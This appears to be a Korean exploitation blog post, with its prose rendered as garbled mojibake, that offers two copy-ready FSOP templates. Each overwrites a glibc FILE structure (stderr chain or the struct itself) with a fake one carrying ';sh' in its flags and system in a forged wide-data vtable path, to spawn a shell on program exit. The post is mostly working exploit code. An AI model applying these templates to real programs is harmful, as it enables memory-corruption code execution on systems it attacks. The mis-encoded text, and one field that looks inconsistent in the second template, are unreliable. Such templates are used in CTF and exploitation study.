[Exploit Tech Analysis][FSOP] Template for Shell
FSOP์ ๋ํ ์ดํด๊ฐ ํ์ํฉ๋๋ค.
์์ธํ ๋ด์ฉ์ ์ด ๊ธ์ ์ฐธ๊ณ ํ์ธ์.
1. Heap์ ๋ง๋ค๊ณ chain ๋ฎ๊ธฐ
- heap leak์ด ๋ ์ํ
- libc leak์ด ๋ ์ํ
- ์ต์ 0x8 ๋ฐ์ดํธ ์ด์์ AAW Primitive
- ์ ์์ ์ธ ์ข
๋ฃ (
exit()ํธ์ถ / main์์ return)
# stderr / stdout / stdin์ chain์ ํ์์ ๊ฐ์ง file struct๋ก ๋ฐ๊ฟ์ผ ํจ
# offset: +0x68
write(_IO_2_1_stderr_+0x68, fake_file_address)
fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = fake_file_address
fs._lock = fake_file_address + 0x100 # ์ฐ๊ธฐ ๊ฐ๋ฅํ ์ฃผ์๋ฉด ์ด๋๋ OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(fake_file_address + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0
write(fake_file_address, bytes(fs))
2. ๊ตฌ์กฐ์ฒด ์์ฒด๋ฅผ ๋ฎ๊ธฐ
- libc leak์ด ๋ ์ํ
- ์ต์ 0xe0 ์ด์์ AAW Primitive
- ์ ์์ ์ธ ์ข
๋ฃ (
exit()ํธ์ถ / main์์ return)
target = _IO_2_1_stdout_ | _IO_2_1_stderr_ | _IO_2_1_stdin_
# ์ถ์ฒ: stderr
fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = libc.symbols["_IO_2_1_stderr_"]
fs._lock = libc.bss() + 0x100 # ์ฐ๊ธฐ ๊ฐ๋ฅํ ์ฃผ์๋ฉด ์ด๋๋ OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(libc.symbols["_IO_2_1_stderr_"] + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0
write(fake_file_address, bytes(fs))
_IO_2_1_stderr ์ด์ธ์ ๋ค๋ฅธ ๊ตฌ์กฐ์ฒด๋ฅผ ์ฐ๊ณ ์ถ๋ค๋ฉด ๋ฐ๊ฟ์ฃผ๋ฉด ๋์ง๋ง ํ๋ฉด์ ์ถ๋ ฅ์ด ์ ๋๊ฑฐ๋ ์
๋ ฅ์ ๋ชป ๋ฐ๋ ์ํฉ์ด ์๊ธธ ๊ฐ๋ฅ์ฑ์ด ๋ค๋ถํจ!
Leave a comment